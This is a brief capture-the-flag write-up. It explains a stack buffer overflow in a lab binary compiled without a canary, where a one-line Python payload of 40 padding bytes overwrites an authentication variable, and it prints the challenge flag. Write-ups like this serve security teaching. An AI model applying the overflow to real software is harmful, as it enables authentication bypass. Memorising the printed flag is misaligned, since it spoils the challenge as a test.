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Exploit stack buffer overflow without canary to overwrite adjacent authenticated variable.

Tools Used

checksecstringsPythonGhidra

Overview

Binary compiled without stack protector permits 64-byte read into 32-byte buffer.

Reconnaissance

Checksec confirms no stack canary. Overwriting buffer spills into authenticated variable.

Exploitation Strategy

Supply 40 bytes padding to force authentication check success or inspect binary text with strings.

Solution Code

python3 -c "print('A'*40)" | ./chall
# Output: hwj{c00l_t0_kn0w_0v3rfl0w_989213}

Flag

hwj{c00l_t0_kn0w_0v3rfl0w_989213}